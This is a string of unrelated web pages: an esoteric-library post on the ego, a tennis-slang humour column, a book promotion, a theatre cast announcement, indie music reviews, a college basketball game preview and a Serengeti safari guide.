I shall be bled whiter than a spring lamb!
Surrender my life and become as Her pawn,
I raise up the cup and adore Babalon!
— In Nomine Babalon: 156 Adorations to the Scarlet Goddess
The Hermetic Library arts and letters pool is a project to publish poetry, prose and art that is inspired by or manifests the Western Esoteric Tradition. If you would like to submit your work for consideration as part of the Arts and Letters pool, contact the librarian.
This entry was posted in Hermetic Library arts and letters and tagged arts and letters, ego, In Nomine Babalon, pawn, poetry, spring lamb on November 22, 2012 by John Griogair Bell.
“Pathology of the Sublime” from Problems on the Path of Return by Mark Stavish, M.A. in Vol 3 No 1 of Caduceus.
“As new energy and expanded awareness is experienced and increasingly rooted to daily life, the ego and all that it has built up begins to feel threatened. The new ways of living, feeling, praying, loving, and being are so different, even if in reality they are only minor initiations so to speak, from the ego’s perspective, they might as well be an intrapsychic coup d’etat!” [via]
“Ferrucci states that repression of the sublime is the most common defense mechanism of the ego and is often the cause for deep melancholy, a subject treated at length by Ficino. It results in our feelings of loss, dissatisfaction, boredom, and feelings of inauthenticity. (Binah/Saturn)” [via]
“While the four major existential fears of annihilation and death, responsibility and freedom, aloneness, and meaning, (Existential Psychotherapy, Yalom) are the fears most deeply rooted in the ego (Assiah/Malkooth) and can be said to be a result of the transient nature of the Elements from which it is created, these conflicts are not the result of internal instinctual strivings, or of encounters with our internalized images of significant adult authority figures during the infantile stage of our development (as in Freudian work), but with inescapable givens of our existence in the world.” [via]
Psychosynthesis from Problems on the Path of Return by Mark Stavish, M.A. in Vol 3 No 1 of Caduceus.
“The fundamental premise behind Psychosynthesis is that we must first construct, purify, and then surrender our sense of self (ego) if we are to realize our spiritual nature as expressed in transpersonal and humanistic psychology. We posses within us several overlapping and interpenetrating fields of awareness.” [via]
Psychological Effects of Pathworking from Problems on the Path of Return by Mark Stavish, M.A. in Vol 3 No 1 of Caduceus.
“To this end, the following examples of cabalistic path working are being given, as well as possible psychological benefits as well as pathologies which their working (particularly out of sequence) can evoke within the psyche of the operator. While no single path is ever worked exclusively, only realized as such by our outer self (i.e. ego), the effects are seen predominately when particular paths are undertaken as ritual or esoteric operations. The paths are numbered in a working sequence for a reason, it is best to follow that sequence if disharmony and psychic disruption is to be held to a minimum.” [via]
“In fact few people stay with any system long enough to realize the genuinely spiritual aspects of the Work they are doing. The need for genuine self-honesty and purification on the level of the ego and the repressed areas of the subconscious, before the refined and powerful forces of the soul can shine freely and effectively through the ego and not be overly distorted by it, must be recognized by students if they are to derive full benefit from the Work they are doing.” [via]
ΚΕΦΑΛΗ ΜΖ Windmill-Words in Liber CCCXXXIII, The Book of Lies by Aleister Crowley.
“Dhyana gets rid of the Ego.
Samadhi gets rid of the Soul Impersonal.” [via]
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New York Tennis Magazine
Club Guide
LONG ISLAND TENNIS GUIDES
WORLD TEAM TENNIS
HIGH SCHOOL BOYS TENNIS
HIGH SCHOOL GIRLS TENNIS
LONG ISLAND TENNIS EVENTS
PRO TOUR EVENTS
USTA EVENTS
TENNIS EXPO
My Opinion: What’s the Story With Tennis Lingo?
Jun,09,2010
| By Eric Meditz
I was recently at a dinner party at a friend’s apartment on the Upper East Side of Manhattan. I got caught up in a conversation with some guy who said that he worked in the city as some sort of financial or investment banker. I wasn’t quite sure what he was talking about, because I was trying not to fall asleep while he was explaining to me what he does for a living. Battling the melatonin that this guy’s job description was forcing my brain to secrete, I quickly tried to change the subject so I wouldn’t collapse and destroy another coffee table like I did back in my college days (I went to a state school … nuff said!).
While looking at this guy cross-eyed and trying to keep my head up, I interjected, “How about those Mets this year? What a disaster this team has become! The only way these scrubs can possibly do well this year is if they tree every game they play. But seriously, even if they do that, I see them getting bageled every other game.”
This uptight guy looked at me as if I was speaking another language and walked away scared for his own well-being. Ironically enough, this is nothing new for me. I’m pretty used to getting this response when I use my tennis lingo to people outside of our tennis world.
If you have been a part of junior tennis in one way or another over the last couple of decades, you are well aware that tennis players speak a certain language that people who aren’t involved with the sport have no idea about. So if you live in that outside world and you don’t have a clue what I’m talking about, here is a list of those words that we use and how you can use them in your everyday “boring” life. Okay … let’s get started …
Tennis player definition: It’s a term used when someone is playing absolutely out of his or her mind. This person is hitting shots and winners that are well-beyond their regular playing ability.
►Used in a tennis sentence: “I cannot believe that you just hit that forehand passing shot. That’s such a tree.” or “I lost to Jimmy yesterday. I played well, but he tree’d the whole match … what can I do?”►Used in a real world sentence: “Did you see all the good-looking women that Mark has been picking up lately? That guy is totally treeing!”
Tennis player definition: This term is used when someone makes an intentional bad call to screw you over. It’s when they call a ball out that is clearly in.
►Used in a tennis sentence: “It’s five-all in the third set tie-breaker, and then this guy from Indiana who I’m playing decides to hook me … what the hell?” or “I lost. I got hook’d the entire match!”
►Used in a real world sentence: “I went to the supermarket and bought a dozen oranges. When I got home, I saw that there were only 11 in the bag. Stop & Shop just hook’d me big time!”
Tennis player definition: When someone loses points intentionally. They don’t want to play anymore, and instead of fighting their way back, they just want to go home. Tennis players do this to get the match over with as fast as possible.
►Used in a tennis sentence: “I wasn’t going to beat this guy anyway, so I decided to just tank.”
►Used in a real world sentence: “I’ve been driving around the city for the last two hours and I cannot find a parking space. Forget it, I’m just going to tank and go home.”
Tennis player definition: A player who isn’t very good at all. Someone who plays recreationally and then gets a crazy idea to all of a sudden play in a tennis tournament. You can tell right away if someone is a scrub when they show up to a tournament match and they are holding one racquet and an iced coffee. A scrub is a very poor tennis player who is totally out of their element.
►Used in a tennis sentence: “I have a great draw. It looks like I’m playing a scrub in the first round.”
►Used in a real world sentence: “Where are those PCA reports that are supposed to be on my desk this morning? Tommy, you are one of the biggest scrubs I have ever met! If you weren’t my nephew, I would have fired you years ago!”
Deef
Tennis player definition: This is a term that is short for the word “default.” Tennis players abbreviate it by saying, “deef.” It’s when we win a tournament match without even having to play it, because our opponent decided to never show up.
►Used in a tennis sentence: “My stomach has been killing me all day. I think I’m going to just deef my match tonight.”
►Used in a real world sentence: “I showed up to the restaurant for my blind date, but as soon as I saw her, I decided to just deef and call it a night.
Tennis player definition: To win or lose a set six-love. The shape of a bagel looks like a zero, but, don’t say donut or any other round-shaped food. Even though a donut is the same shape as a bagel, for some reason, it never caught on in the tennis world, and if you say anything other than bagel, people will look at you weird.
►Used in a tennis sentence: “I just gave this guy a double bagel.” or (if you want to get a little sassy) “You are fully aware that I played your coach years ago, and I gave him two bagels, toasted with cream cheese, and then I asked him if he wanted a side order of potato salad. He replied with, ‘yes,’ and took it to-go.”
►Used in a real world sentence: “I went to the bank and they said my checking and savings accounts were a double bagel.”
Tweener
Tennis player definition: To hit a shot between your legs. It’s an abridged version of the word, “between.”
►Used in a tennis sentence: “The lob went over my head, but instead of trying to flick it over my shoulder, I decided to hit a tweener.”
►Used in a real world sentence … your guess is as good as mine!
So, now you have our tennis lingo down. Armed with this new knowledge, you will be able to listen and understand what junior and college tennis players are saying to and about each other. Now when you are in a tournament lobby and you overhear:
“I thought I was going to get a deef, but this scrub showed up 10 min. late. He hook’d me in the first game, but it was totally fine because I started to tree out of my mind after that. Once I won the first set, he started to tank, and to make things interesting, I decided to hit a tweener on match point. I gave him a whole wheat bagel in the second set, because I figured that white flour would be just empty calories.”
You will know exactly what they mean!
Eric Meditz
<p>Tennis Pro Eric Meditz may be reached by e-mail at meditzisfunny@yahoo.com</p>
November/December 2019 Digital Edition
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Cover Reveal~~ Eight Seconds Ride by Anne Jolin
BOOK BLITZ for SALEM’S REVENGE by Kiki Howell
SALEM’S REVENGE
Author: Kiki Howell
Series: Salem Series #2
Genres: Contemporary, Paranormal, Romantic Suspense, Occult Horror
In this sequel to the Amazon Bestseller, Hidden Salem, the story resumes one year later, another present day October, in Salem, MA. Filled with the same cross of pagan and paranormal elements, as well as suspense and occult horror weaved into Book One in the Salem Series, Book Two also contains touches of romance, giving readers a sweet addition to the spells and rituals.
Denise Daniels came to Salem, MA to be in her best friend, Makayla’s wedding, but her matron of honor duties find her confronting more than she bargained for. In her first moments in Witch City, she’s greeted by a corpse used in a gruesome reanimation ritual.
Without warning, the final week of wedding preparations becomes mixed with a quick introduction to Wiccan practices, including necromancy used to communicate with the dead, as attacks by a mysterious, new coven seeking revenge increase. Denise soon becomes immersed in things she never expected, including automatisms—drawing elaborate pictures of two women in red cloaks in the woods—a pretty impressive feat for a girl who has only drawn stick figures prior.
As Denise tries to find her place in this world of magic, she discovers her own connection to the Salem of 1692. And, while losing the battle to save her heart from a romance that can never be, she ends up fighting to save her life.
~ PURCHASE ~
Purchase Book One: HIDDEN SALEM today!
KIKI HOWELL
Ever since she was young, Kiki Howell has loved to listen to a well-woven tale with real characters, inspired plots, and delightful resolutions. Kiki could spend hours lost in a book, and soon she knew that creating lives, loves, and losses with just words had to be the greatest thing that she could do. To that end, she pursued her study of literature and writing, earning a bachelor’s degree in English. She then followed in a Master’s program in Creative Writing.
She has now had over forty stories published between eleven different publishers. She could not be more thrilled or grateful to see her creations polished and out in the real world. In May, 2011, Kiki was chosen as an Ohioana Book Festival author for her novel, Torn Asunder. She’s also had three flash fiction stories win writing contests. In the fall of 2013, her novel, Hidden Salem, made the Amazon Top 100 Bestsellers Lists in Paranormal, Suspense and Ghosts; and in the fall of 2014, her novel. What Lies Within Us, made the Amazon Top 100 Best Sellers Lists in Gothic Fiction and Occult Horror.
WEBSITE | BLOG | FACEBOOK | FACEBOOK PAGE | TWITTER
One comment on “BOOK BLITZ for SALEM’S REVENGE by Kiki Howell”
22 May 2015 at 12:12 am Lydia - HEA Book Tours, PR & More
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Love London Love Culture
A guide to the best things to see and do in London
Eat, Drink & Stay
New Cast Members Join In The Heights
AuthorEmma ClarendonPosted on April 12, 2016 CategoriesMusicals, Theatre, UncategorizedTagsDavid Bedella, Josie Benson, King's Cross Theatre, Lily Frazer, Sam Mackay, Vas Constanti
New cast members have joined the Olivier Award winning musical In the Heights, taking part in their first performance last night.
Joining the cast are Christine Allado (From Here to Eternity, Here Lies Love) as Vanessa, Norma Atallah (The Sound of Music – Live) as Abuela and Jonathan Bishop (The Lion King) as Graffiti Pete (from 15 April). Kimmy Edwards (Memphis, Hairspray) will join the ensemble and Ryan Reid (Shrek The Musical) will join as swing.
Continuing their roles in the musical are: David Bedella, who received the 2016 Olivier Award for Best Actor in a Supporting Role in a Musical for his performance as Kevin, Josie Benson as Camila, Vas Constanti as Piragua Guy, Lily Frazer as Nina, Sam Mackay as Usnavi,Sarah Naudi as Carla, Joe Aaron Reid as Benny, Cleve September as Sonny and Philippa Stefani as Daniela. The cast also includes Jocasta Almgill, Courtney-Mae Briggs, Michael Cortez, Gabriela Garcia, Reiss Hinds and Spin.
In the Heights won three Olivier Awards at this year’s ceremony, including Outstanding Achievement in Music and Best Theatre Choreographer (Drew McOnie).
The show whisks audiences on a journey into Washington Heights, a community that is on the brink of change, filled with hopes and dreams but also struggles that individuals face on a daily basis. In the Heights features a gripping story and vibrant music, that combines latin with hip-hop to create a show that is unforgettable.
Originally booked for a four week limited run at King’s Cross Theatre, In the Heights is now booking until the 30th October 2016. Lin-Manuel Miranda is the Tony-winning composer-lyricist of the musical, which is directed by Luke Sheppard and choreographed by Drew McOnie.
In the Heights is booking until the 30th October at the King’s Cross Theatre. Love London Love Culture’s review can be found here. To book tickets visit: ATG Tickets, Ticketmaster.co.uk, Discount Theatre.com, Last Minute.com, Theatre Tickets Direct.co.uk, Love Theatre.com, Theatre People.com and UK Tickets.co.uk.
← REVIEW: Pride & Prejudice and Zombies by Seth Grahame-Smith
PREVIEW: We Wait in Joyful Hope @Theatre503 →
View Love London Love Culture’s profile on Facebook
View @LoveLDNLoveCul’s profile on Twitter
View lovelondonloveculture’s profile on Instagram
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Review: PNDC & housework – Nothing In The Sky
Published June 25, 2012 Reviews Leave a Comment
For all those who wanted to know what sweaty electro dance performed by a Serbian/Greek act sounded like, PNDC and housework (AKA Predrag Nedic and Athanassios Vavaroutas) have consistently provided the answer. Make no mistake though, this is as far removed as possible from trashy European music and is chiefly noteworthy for tight rhythms and housework’s breathless vocals. ‘Nothing In The Sky’ is further proof that you don’t need to be in the same room together to make music work (infact the two protagonists have never even met).
That said, the start is a little awkward. ‘Tight Rope’ takes up the challenge with some disorientating organ swirls, distorted production and general air of confusion. Then housework brings out the ever faithful croon for the snail-paced ‘Go Quiet’ but it’s another song which quietly seethes rather than stirs the emotions. Patently, this is not pop music.
The title track redresses the balances and is definitely one of the most mesmeric offerings. Against a backdrop of subtle atmospherics, the duo create a track that is intelligent, unsettling and romantic all at once. ‘Sunset Over Empty Towns’ is another piece which favours the less is more approach whereas the emotive ‘Gentleman’ brings back memories of Japan’s ‘Ghosts’. Elsewhere, ‘European Day Of You’ even boasts something approaching a happy chorus and ‘Touch Of Mad’ is like a revival of the twosome’s unique twist on club music.
PNDC and housework have always operated on the experimental end of electronic music but here they sound more eerie and adventurous than ever. At times, the icy surface can serve to alienate the listener but the further one gets into the album, the better it becomes.
PNDC & housework Bandcamp
PNDC MySpace
housework MySpace
Tarwater, Depeche Mode, Colder, DK7
Review: The Rest – SEESAW
The backstory behind the course of an album can so often influence the sound. For The Rest’s third long player, they had to cope with the loss of their long-time producer to a heart attack and then the prospect of not being able to recover the master tapes. Happily, the latter situation reached a positive conclusion whilst they honoured their former producer and friend by recording ‘SEESAW’ at his converted church studio. So what we have is a passionate collection of songs full of life affirming conviction.
It seems strange comparing a relatively unknown act with U2 but the ringing guitar work, rich production and passionate vocals on ‘Who Knows’ certainly support this comparison. ‘Hey! For Horses’, on the other hand, may be based on similarly grand arrangements but its approach finds a healthy middle ground between the bombast of Arcade Fire and the more considered material of The Helio Sequence.
The mix of hope and despair is perfectly captured in the title and the tune to ‘Laughing Yearning’. Admittedly, there are a few songs here which crumble under the weight of the kitchen sink approach: ‘John Huston’ and ‘Young And Innnocent’ undeniably contain heart but they would carry more weight with less layers of sound. A better showcase is the almost hymnal ‘The Lodger’ or ‘Could Be Sleeping’, where the singer delivers a beautiful falsetto across an intense but never OTT mix of thumping percussion and chiming guitars.
So overall, the more The Rest emphasise the human voice and melody over the production, the better they fare. What cannot be doubted though, is that ‘SEESAW’ is a very emotional record and the spirit of these musicians should be bottled and preserved forever.
The Rest Bandcamp
The Rest Tumblr Site
The Arcade Fire, The Helio Sequence
Review: Ten – East Of The Elm
Leeds/London outfit Ten are led by Dom Deane, who started the group originally as a solo project. ‘East Of The Elm’ is the third EP by Ten and certainly sounds like the fully formed work of a band. That’s not to say this music is over-produced in any way. For herein are great moments of subtlety, imbued with nostalgia and emotion.
The title track emerges from a dreamlike fog of field recordings and rustic guitars to begin a journey rich in pastoral atmosphere. ‘Heart Beat’ is the only track to feature vocals but it’s a mere murmur of a female which forms an additional layer to the dense framework of mournful strings and sedate percussion. ‘Adrift’ seems to flow in to darker territory; the guitars suggesting sadness or even danger on the horizon. The danger soon subsides though; ‘Paper Fragments’, thanks to its elegiac piano melody, is full of elegant despair whilst the alt-country guitar for final piece ‘Little Tree, Big Heart’ is just as gentle.
Some may argue that a mere fifteen minutes of music seems criminally short for an ambient record. Yet the range of moods, rhythms and emotions covered is brilliantly varied.
Ten Official Site
Ten Bandcamp
Review: The Lovely Few – The Orionids
Published June 14, 2012 Reviews 2 Comments
Thanks to the digital revolution, much of the music we hear is, quite literally, freely available. The key is to find special music by the likes of The Lovely Few who – in keeping with their space-themed releases – have a made a five star EP. The EP is produced by Dan McCurry who gave notice of his own songwriting prowess with Run Dan Run’s album released earlier this year. ‘The Orionids’ is the second part in the band’s ‘Meteor Series’ and could loosely be described as ambient pop.
Due to its vintage synth backing, ‘Orion’ sounds like Death Cab For Cutie teaming up with Vangelis whilst ‘Sci Fi Novels’ takes a harder-edge approach but only allows the guitars to simmer (rather than explode) with rage. ‘Try Again’ is another track which teeters on the brink of something dramatic with frontman and main vocalist Mike Mewborne deliberately suppressing any ideas of pace. The last official track from the EP is a gorgeous ambient rock number named ‘Hunter’ which just leaves the self-explanatory ‘Celestial Chord’.
‘The Orionids’ is full of songs which seem to catch fire at any moment yet always hold back at the critical moment. It doesn’t really matter, however, as the fifteen minutes of music contained here is beautifully atmospheric.
The Lovely Few Bandcamp
Hearts And Plugs Label Site
Run Dan Run, The Helio Sequence, Vangelis
Review: The White Space – The Crescent Wave
Published June 13, 2012 Reviews 1 Comment
Robert Vandeven is best known for being one half of the songwriting team for 1980’s quasi-dreampop act The Lucy Show and he recently re-emerged with a rather decent and forward-thinking solo album. The White Space is the name of his new project with ex-Fuzzy Logic man Dave Farrow. The band name actually borrows from an old song by The Lucy Show but it is here where the comparisons end.
To sum up the album in three words would be “melancholic indie soul” and the beginning to ‘The Crescent Wave’ is a little ponderous. ‘Stay’ features a glum guitar melody that is given voice by an equally glum Vandeven. ‘Davey’ is equally muted in its approach but at least the jangly tune is a tentative step towards positivity. The first song to break out of the relative slumber is an old one. ‘Ships’ was the highlight of Vandeven’s solo album and its trippy hypnotic bliss signals a welcome gear change for the record. ‘All The Flowers’ is a touchingly tender moment, ‘Simbday’ balances distorted noises with a genuine sense of yearning whilst the finale, ‘Hold’, is as classy as a Bond theme.
To describe ‘The Crescent Wave’ as a middle age masterclass in subtlety would be a tad dismissive because Vandeven and Farrow do raise their game towards the end of the record. Futhermore, the songs are well arranged, ensuring this album has a longevity which – like the members of The White Space themselves – defies the aging process.
The White Space Official Site
The Lucy Show, Archive
Review: Experimental Pop Band – Vertigo
If top 100 lists were made for unsung British songwriters then that list would certainly feature Experimental Pop Band’s Davey Woodward. Whilst never quite as experimental as the band name may suggest, Woodward is definitely an eccentric wordsmith whose ramshackle style means he is forever destined to avoid the mainstream. ‘Vertigo’ is the first new album from his current band since 2007’s ‘Tinsel Stars’ but the spirit is undiminished.
The first side to ‘Vertigo’ offers a lot of what we’ve come expect from Woodward over the years and the fondness for a grimy combination of electro-pop/glammy guitars is to the fore again. ‘Little Things’ is the first time ears will prick up, courtesy of a nagging riff and an off-key chorus and a similar trick is repeated for the infectious ‘Transit Van Superstar’. The main flaw is the rather one-paced nature of the first half that is only broken up by a song named ‘Outside’, which switches between throbbing electro and anthemic at the flick of a switch.
Side two contains much needed variation, warmer arrangements (replacing the abrasive first half’s angst) and simply better songs, beginning with the fabulous ‘The Girls With Back Combed Hair’; the kind of witty, nostalgically-infused track which ranks alongside Woodward’s best. The title track surpasses it too, thanks to some genius key changes and some surprisingly good harmonising from the band. ‘Bowling’ and ‘The Girl Wants The Boy The Boy Wants The Girl’, meanwhile, are playful and quirky; the latter even getting away with a piano melody which alarmingly recalls the theme to ‘Murder She Wrote’.
‘Vertigo’ will still be a little too oddball to win new admirers. However, for longstanding fans of Woodward’s work, the second half to the album, in particular, is a great showcase for a unique talent, ably supported by backing players sharing their frontman’s peculiar worldview.
Experimental Pop Band MySpace
Wear It Well Records Label and Shop Site
The Fall, Earl Brutus
Review: Teen Mom – Mean Tom
Teen Mom are a trio of young male musicians from Washington D.C. who occupy that potentially awkward middle ground between fey indie pop and shoegaze. Based on the quality of their similarly, awkwardly named EP though, their first half dozen tracks promise much for the development of the band.
Thanks to the indie jangle and doleful vocals on opener ‘You And Me’, the trio create an impression of lovelorn young gentlemen, not unlike The Drums if they were a student band recording in a basement. That comparison isn’t to undermine their talents rather to emphasise the DIY ethic of the band and the fact that their songs possess a welcome intimacy.
They can also make a noise when they want to and ‘Always Happy’ is the first sign of their “fuzz-pop” credentials. Layers and layers of ache coincide with driving guitars for the excellent ‘All The Time’ whilst the other three songs may be less polished but all (the lilting ‘Gehry’ in particular) still carry a certain rough-hewn charm.
‘Mean Tom’ is an EP which celebrates its lo-fi dynamics and the quality of the songs usually shines through the humble surroundings. Given the success of The Drums in recent years, don’t be surprised to see Teen Mom’s harder-edged sounds reap rewards too.
Teen Mom Bandcamp
The Drums, Drop Nineteens
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Get ready as the Wisconsin Badgers prepare to host Purdue Boilermakers
Jim Polzin | Wisconsin State Journal
State Journal reporter Jim Polzin breaks down the Big Ten matchup between the Wisconsin Badgers men's basketball team and the Purdue Boilermakers on Friday night at the Kohl Center in Madison.
WISCONSIN VS. PURDUE
Wisconsin coach Greg Gard has guided the Badgers to an 11-4 record to open the season, including a 3-1 mark in Big Ten play.
AMBER ARNOLD, STATE JOURNAL
When: 8 p.m. Friday
Where: Kohl Center
TV: FS1
Radio: 1310 AM and 101.5 FM, with Matt Lepay and Mike Lucas.
BADGERS (11-4, 3-1)
Wisconsin senior Ethan Happ enters the Badgers' game against the Boilermakers averaging 19.3 points, 10.3 rebounds and 4.7 assists.
STEVE APPS, STATE JOURNAL
Coach: Greg Gard, 68-40 in his fourth season at UW.
Player to watch: Senior center Ethan Happ needs four assists to move into a tie for fifth on UW’s all-time list. Happ is already in the top five in points (fifth), rebounds (first), blocks (third) and steals (second).
PROBABLE WISCONSIN STARTERS
Wisconsin forward Nate Reuvers enters Friday night's game averaging 7.7 points, 2.7 rebounds and 1.8 blocked shots while playing 21.0 minutes a game.
No. Name Ht. Year PPG
35 Nate Reuvers 6-11 So. 7.7
21 Khalil Iverson 6-5 Sr. 4.7
22 Ethan Happ 6-10 Sr. 19.3
0 D'Mitrik Trice 6-0 So. 14.3
34 Brad Davison 6-3 So. 10.3
KEY BADGERS RESERVES
Wisconsin guard Brevin Pritzl is averaging 5.5 points a game while shooting 35.7 percent from 3-point range this season.
23 Kobe King 6-4 Fr. 5.5
2 Aleem Ford 6-8 So. 3.0
1 Brevin Pritzl 6-3 Jr. 5.5
15 Charlie Thomas 6-8 Sr. 2.7
13 Tai Strickland 6-2 Fr. 2.5
Wisconsin guard Brad Davison is shooting 41.8 percent from 3-point range this season.
NAM Y. HUH, ASSOCIATED PRESS
UW had seven turnovers in 63 possessions during a 71-52 win at Penn State on Sunday night, and no players finished with more than one. The Badgers rank second nationally in turnover percentage (13.6), per KenPom. … Brad Davison is shooting 41.8 percent from 3-point range. After starting the season 10 of 35 from beyond the arc, he’s 13 of 20 over the past five games.
BOILERMAKERS (9-6, 2-2)
Purdue's Carsen Edwards is averaging 24.5 points, 3.2 assists and 3.1 rebounds entering the Boilermakers' game against the Badgers on Friday night.
DARRON CUMMINGS, ASSOCIATED PRESS
Coach: Matt Painter, 304-155 in his 14th season at Purdue.
Player to watch: Junior guard Carsen Edwards, the preseason player of the year in the Big Ten, has scored at least 30 points five times in his career. He matched a career high with 40 points in a loss at Texas on Dec. 9.
PROBABLE PURDUE STARTERS
Purdue guard Ryan Cline is averaging 12.5 points, 3.6 assists and 2.8 rebounds as a senior.
AJ MAST, ASSOCIATED PRESS
20 Nojel Eastern 6-6 So. 5.8
24 Grady Eifert 6-6 Sr. 4.5
50 Trevion Williams 6-9 Fr. 4.0
3 Carsen Edwards 6-1 Jr. 24.5
14 Ryan Cline 6-6 Sr. 12.5
KEY BOILERMAKERS RESERVES
Purdue center Matt Haarms is averaging 7.8 points, 4.6 rebounds and 1.5 blocked shots as a sophomore.
MICHAEL CONROY, ASSOCIATED PRESS
2 Eric Hunter Jr. 6-3 Fr. 3.2
1 Aaron Wheeler 6-9 Fr. 4.9
55 Sasha Stefanovic 6-4 Fr. 3.1
32 Matt Haarms 7-3 So. 7.8
Purdue forward Grady Eifert is shooting 42.9 percent from 3-point range this season, while the Boilermakers are shooting 40.5 percent as a team, which ranks 19th nationally.
Purdue is 0-4 in true road games this season and 2-6 overall away from home. … The Boilermakers are shooting 40.5 percent from 3-point range, which ranks 19th nationally. … Purdue is No. 75 nationally in adjusted defensive efficiency, per KenPom. That ranks 12th among Big Ten teams. ... Junior forward Evan Boudreaux, who is averaging 7.5 points, will miss the game with a groin injury.
Badgers Men's Basketball
Kohl Center
Big Ten Men's Basketball
Matt Painter
Ethan Happ
D'mitrik Trice
Brad Davison
Khalil Iverson
Nate Reuvers
Carsen Edwards
Jim Polzin covers Wisconsin Badgers men's basketball for the Wisconsin State Journal.
Follow Jim Polzin | Wisconsin State Journal
Wisconsin Badgers Men's Basketball
Nate Reuvers is on a roll as Badgers prepare to face Purdue
Reuvers, a 6-11 sophomore forward, is playing with newfound confidence as UW enters the heart of the Big Ten season.
Badgers men's basketball sets home-and-home series with Tennessee in 2019, 2020
The Badgers will travel to Knoxville for a game on Dec. 28, 2019, and the teams will complete the series with a game at the Kohl Center on Nov. 11, 2020.
Tom Oates: 20 moments — good and bad — that defined sports in Wisconsin in 2018
If nothing else, 2018 demonstrated the yin and yang of sports in Wisconsin.
Though his numbers in Big Ten play are down, Purdue's Carsen Edwards poses big threat to Badgers
Edwards, a junior guard, leads the Big Ten in scoring at 24.5 points per game. However, he’s tied for 10th in conference play at 17.8 points per game.
Get to know the players on Wisconsin Badgers' 2018-19 men's basketball team
Nine players saw the floor for the University of Wisconsin men’s basketball team in its final game of the 2017-18 season, a 63-60 loss to Mich…
Badgers face daunting challenge with loaded Big Ten schedule looming
For everything the University of Wisconsin men’s basketball team has accomplished to date this season — and there’s plenty on that list — one …
Explore the Wisconsin Badgers' 2018-19 men's basketball schedule
With the Wisconsin Badgers men's basketball season kicking off Tuesday night, State Journal reporter Jim Polzin takes a game-by-game look at t…
Badgers men's basketball team falls out of AP Top 25
The Badgers, who were No. 22 last week, dropped out after splitting two games.
Fans take to Twitter to dissect Badgers' victory over Nittany Lions
Wisconsin State Journal reporter Jim Polzin asked Badgers fans on Twitter what they thought of No. 22 Wisconsin's 71-52 win over Penn State on…
Wisconsin Badgers tap into 'sense of urgency' en route to 71-52 victory over Penn State Nittany Lions
That determination that had been lacking in the No. 22 Badgers at times during a two-game losing skid was there from the opening tip until the final buzzer at Bryce Jordan Center.
Photos: No. 22 Wisconsin Badgers 71, Penn State Nittany Lions 52
The 22nd-ranked Wisconsin Badgers men's basketball team ended a two-game skid with a 71-52 victory over the Penn State Nittany Lions on Sunday…
D'Mitrik Trice must 'refocus' to regain earlier success
Trice has shot shot 31 percent overall (12 of 39) and 19 percent from 3-point range (4 of 21) in UW’s four losses compared to 53 percent overall (61 of 115) and 59 percent from beyond the arc (35 of 59) in its 10 wins.
Ethan Happ's woes at free throw line are ongoing for Badgers' center
Happ missed six free throws over the final 8 minutes, 4 seconds of Thursday night's loss to Minnesota, including the front end in two bonus situations.
Fans take to Twitter to weigh in on Badgers' loss to Golden Gophers
Wisconsin State Journal reporter Jim Polzin asked Badgers fans on Twitter what they thought of No. 22 Wisconsin's 59-52 loss to Minnesota on T…
Tom Oates: Loss to Golden Gophers shows Badgers need to consistently bring their best in stacked Big Ten
Minnesota showed up at the Kohl Center and hung a 59-52 defeat on 22nd-ranked Wisconsin in the first of an 18-game march to, well, March.
Wisconsin Badgers frustrated after coming up short in 59-52 loss to Minnesota Golden Gophers
Ethan Happ scored 17 points and Nate Reuvers added 12 for Wisconsin (10-4, 2-1), which couldn’t overcome a miserable shooting performance from 3-point range and the free throw line and some costly mistakes down the stretch.
Photos: Minnesota Golden Gophers 59, No. 22 Wisconsin Badgers 52
The 22nd-ranked Wisconsin Badgers men's basketball team fell to the Minnesota Golden Gophers, 59-52, on Thursday night at the Kohl Center in M…
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The Serengeti is one of Africa’s renowned and captivating wildlife viewing area, the variety of habitat included in its pristine ecosystem guarantees a versatile safari filled with excitement and feelings of Africa authenticity. Year round, the Serengeti encompasses the highest wildlife census of all national parks including both residents and migratory animals. It is also home to the great migration, which entails the annual journeys of grazers such as the wildebeest, zebra, and gazelles as the relocate for green pasture. The word Serengeti derived from the Maasai word which translates the place where the land runs on forever-a most fitting description for this beautiful, unique park in Northern Tanzania, at 147635 km (5700 Sq miles) the Serengeti National Park is a home to the high density of large predators, and a host of the indisputably most impressive natural event the annual migration.
The seasonal and the annual migration are what make the Serengeti such a terrible location for a game drive through the year and its distinct seasonal changes that shape the migrations pattern. From late November to December the migrating herds arrive on the short grass plain of the eastern and south of Seronera which also extend into Ngorongoro Conservation Area, also known as the Ndutu Plains. These are the prime location to be when the calving season takes place. Large herds of wildebeest and zebra gather to give birth simultaneously and in turn triggering thrilling game hunting for the large predators. Until late February or March, the herds will remain on the plains, feeding on the fresh grass which is filled with valuable nutrition for lactating mothers. From the end of March to April the herds will start to move west as they prepare for their migration toward the north-by may until mid June the migrating herds are expected to pass through the western corridor, making the Grummet River a spectacular sighting with a small migration crossing alongside the aggressive Nile Crocodile.
The dry season begins the end of June to July and lasts entail the beginning to mid-October, where the herds will concentrate in the Northern Serengeti, making the Mara River one of the most popular destinations to see the excellent river crossing with poignant scenes, of confusion and panic among the herds attempting a successful river crossing. This marks one of the most spectacular natural events in the world. By mid to the end of October, the herds are heading back south again through western Loliondo and Lobo area, as the animals return to find the fresh green shoots on the short plain grass.
The Serengeti Eco-system
Recognized by UNESCO as a world site, the Serengeti eco-system consists of the following areas: Serengeti National Park, Ngorongoro Conservation, Maswa, Ikorogo and Grumeti Game Reserves, Ikona and Makao Wildlife Management Areas. Ngorongoro game controlled area village land and Kenya’s Masai Mara National Reserves. Aside from its largest herds of migrating wildlife, the ecosystem is also an important sanctuary to the continent’s most endangered species, notably the black Rhino and the African Wild dog.
When it comes to wildlife viewing the Serengeti is an unrevealed park which burst an impressive diversity and number of animals, with the highest concentration of large predators in the world with an estimate of 9,000 Hyenas, 3,000 lions 1,000 Leopards, along with the highest density of cheetah’s on the continent. The current estimated population of wildebeest here stands at a whopping 1.2 million and has more than 20,000 zebras, and about 400,000 Thomson Gazelles.
Hot air balloon safari
For many of our guest, flying over the Serengeti in a hot our balloon is on their must-do lists, the experience of witnessing the endless plain and the diverse wildlife from the sky will mark your safari as unforgettable. This activity can be booked throughout a year. Usually flying from Seronera, though the launch point can also vary depending on the season you will be traveling in (e.g. July: Northern Serengeti). After your flight, you will be treated to an “out of Africa” breakfast served with sparkling wine, as you watch the plains in all its morning grandeur.
More information can be found on the Serengeti balloon website here.
